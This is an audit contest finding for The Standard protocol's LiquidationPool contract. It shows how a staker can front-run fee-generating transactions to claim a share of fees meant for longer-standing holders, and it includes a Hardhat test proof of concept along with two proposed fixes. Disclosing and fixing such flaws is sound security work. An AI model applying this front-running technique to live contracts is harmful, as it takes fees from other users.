The Standard
The Standard
DeFiHardhat
20,000 USDC
View results
Previous Next
Submission Details
Severity: low
Valid

Front-running allows holder to gain a share of fees

t0x1c

Summary

When the protocol calculates the holders' and pendingStakes' eligible fee in distributeFees(), it does not consider for how long has the pendingStake been in the system. Due to this -

    1. A malicious user can monitor the mempool for any function call that generates a fee for the protocol,

    1. Front-run it to register a stake in the system via increasePosition(). This makes him eligible to get a share of the fee.

    1. decreasePosition() after 1 DAY and get back his staked amount + gained fee.

LiquidationPool.sol#L191

function distributeFees(uint256 _amount) external onlyManager {
uint256 tstTotal = getTstTotal();
if (tstTotal > 0) {
IERC20(EUROs).safeTransferFrom(msg.sender, address(this), _amount);
for (uint256 i = 0; i < holders.length; i++) {
address _holder = holders[i];
positions[_holder].EUROs += _amount * positions[_holder].TST / tstTotal;
}
for (uint256 i = 0; i < pendingStakes.length; i++) {
@----------> pendingStakes[i].EUROs += _amount * pendingStakes[i].TST / tstTotal; // @audit : no consideration for the length of time this has been in pending
}
}
}

Root Cause: The age of stakes are never considered in the protocol, apart from the distinction between confirmed & pending stake holders. This is problematic even in the normal course of events since this results in dilution of holders' stake by pendingStake holders (explained below).

Vulnerability Details

Let us see an example for clarity:

  • Let's start with no fee present in the system

  • Alice stakes 100 TST at time t + 0

  • Bob stakes 100 TST at time t + 1.01 days. This could be under the normal flow of protocol usage OR could be a malicious front-running action.

  • A fee of amount 500 EUROs is credited into the system via some fee-generating activity at time t + 1.02 days

  • Alice is eligible for fee-share of

  • Timestamp t + 2.02 days is reached

  • Bob is eligible for the same fee-share of in spite of having staked just before the fee had come into the system. His action diluted Alice's share even though she had staked much earlier and was in essence a confirmed holder when the fee first came into the system.

PoC

Patch the following diff inside test/liquidationPool.js and run via npx hardhat test --grep 'allows front-running & fee collection'. The test will pass all assertions.

diff --git a/test/liquidationPool.js b/test/liquidationPool_.js
index 8dd8580..ce984e2 100644
--- a/test/liquidationPool.js
+++ b/test/liquidationPool_.js
@@ -224,6 +224,44 @@ describe('LiquidationPool', async () => {
expect(_position.EUROs).to.equal(distributedFees2);
});
+ it('allows front-running & fee collection', async () => {
+ // some setup
+ const tstStake = ethers.utils.parseEther('100');
+ await TST.mint(user1.address, tstStake);
+ await TST.approve(LiquidationPool.address, tstStake);
+ await TST.mint(user2.address, tstStake);
+ await TST.connect(user2).approve(LiquidationPool.address, tstStake);
+
+ // user1 stakes
+ await LiquidationPool.connect(user1).increasePosition(tstStake, 0);
+ await fastForward(DAY * 2);
+
+ // *********** FRONT - RUNNING *******************
+ // @audit : user2 front-runs any `FEE-ACCUMULATING-ACTION` he sees in the mempool
+ await LiquidationPool.connect(user2).increasePosition(tstStake, 0);
+ // some fee gets accumulated
+ const fees = ethers.utils.parseEther('20');
+ await EUROs.mint(LiquidationPoolManager.address, fees);
+ // ************************************************
+
+ // @audit : user1 attempts to decrease his position and claim 50% of fee but fails
+ const user1_attempt1 = LiquidationPool.connect(user1).decreasePosition(tstStake, fees.div(2));
+ await expect(user1_attempt1).to.be.revertedWith("invalid-decr-amount");
+ // he can successfully claim 25% EUROs
+ const user1_attempt2 = await LiquidationPool.connect(user1).decreasePosition(tstStake, fees.div(4));
+ await expect(user1_attempt2).not.to.be.reverted;
+
+ await fastForward(DAY);
+ // @audit : user2 claims his 25% EUROs
+ const user2_attempt = await LiquidationPool.connect(user2).decreasePosition(tstStake, fees.div(4));
+ await expect(user2_attempt).not.to.be.reverted;
+
+ expect(await TST.balanceOf(user1.address)).to.equal(tstStake, "user1 TST balance");
+ expect(await EUROs.balanceOf(user1.address)).to.equal(fees.div(4), "user1 EUROs balance");
+ expect(await TST.balanceOf(user2.address)).to.equal(tstStake, "user2 TST balance");
+ expect(await EUROs.balanceOf(user2.address)).to.equal(fees.div(4), "user2 EUROs balance");
+ });
+
it('does not allow decreasing beyond position value, even with assets in pool', async () => {
const tstStake1 = ethers.utils.parseEther('10000');
await TST.mint(user1.address, tstStake1);

Impact

  • Malicious users are able to game the system and claim a portion of the holder fee.

  • This dilutes the fee of a rightful holder who has staked for a longer duration.

  • Even considering the normal flow of events involving non-malicious users, we are diluting older user's fee-share if a newer user calls increasePosition() before a fee-generating action. This totally disregards the age of stakes.

Tools Used

Hardhat

Recommendations

Style 1

The easiest way to remedy this would be -

  • to have the function, LiquidationPoolManager::distributeFees() triggered every time any fee-generation activity credits LiquidationPoolManager.sol with EUROs. This would require EUROs (the fee-token) to be implemented as a token which supports callback, like an ERC-777 for example.

  • then, we ought to modify LiquidationPool::distributeFees() like so:

function distributeFees(uint256 _amount) external onlyManager {
+ consolidatePendingStakes();
+ // @audit : only allow non-pending holders' TST in the calculation to avoid malicious dilution of fee share
- uint256 tstTotal = getTstTotal();
+ uint256 tstTotal = 0;
+ for (uint256 i = 0; i < holders.length; i++) {
+ tstTotal += positions[holders[i]].TST;
+ }
if (tstTotal > 0) {
IERC20(EUROs).safeTransferFrom(msg.sender, address(this), _amount);
for (uint256 i = 0; i < holders.length; i++) {
address _holder = holders[i];
positions[_holder].EUROs += _amount * positions[_holder].TST / tstTotal;
}
- for (uint256 i = 0; i < pendingStakes.length; i++) {
- pendingStakes[i].EUROs += _amount * pendingStakes[i].TST / tstTotal;
- }
}
}

Style 2

In case the protocol decides against having an ERC-777 style token, then another way to implement the fix would be to -

  • track each fee-generating action's value and timestamp.

  • track each timestamp of when the pendingStake got consolidated into a confirmed holder stake.

  • Then, at the time of distributing fees,

    • consolidatePendingStakes()

    • compare the fee-timestamp and the confirmed holder stake conversion timestamp. Credit EUROs only if their difference is more than 1 DAY in the past.

  • This of course means that just like in the above style, while calculating tstTotal, we need to consider only eligible stakes' TST and not use getTstTotal().

Updates

Lead Judging Commences

hrishibhat Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

frontrun-distrubutefees

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

frontrun-feedist-low

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.